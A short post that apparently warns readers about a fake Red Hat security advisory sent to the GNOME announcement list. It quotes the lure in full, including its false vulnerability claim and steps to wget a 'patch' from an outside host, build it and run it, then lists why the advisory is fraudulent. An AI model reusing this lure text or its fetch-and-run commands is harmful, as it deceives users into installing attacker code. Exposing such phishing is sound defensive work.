A quick note that someone has posted a fake security advisory for Red Hat Linux on the GNOME announcement list:

"Original issue date: October 20, 2004
Last revised: October 20, 2004
Source: RedHat

A complete revision history is at the end of this file.

Dear RedHat user,

Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected.

The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:

First download the patch from the Security RedHat mirror: wget www.{removed}.com/fileutils-1.0.6.patch.tar.gz
Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
cd fileutils-1.0.6.patch
make
./inst

Again, please apply this patch as soon as possible or you risk your system and others` to be compromised.

Thank you for your prompt attention to this serious matter,

RedHat Security Team.

Copyright © 2004 Red Hat, Inc. All rights reserved. "

1) Red Hat is always using rpm packages for updates
2) Real security advisories will be posted on fedora-announce-list (Fedora Core)/Enterprise-watch-list (RHEL) and are digitally signed by GPG
3) Red Hat 7.2 - 9 and Fedora Core 1 have reached their end of life and are no longer officially supported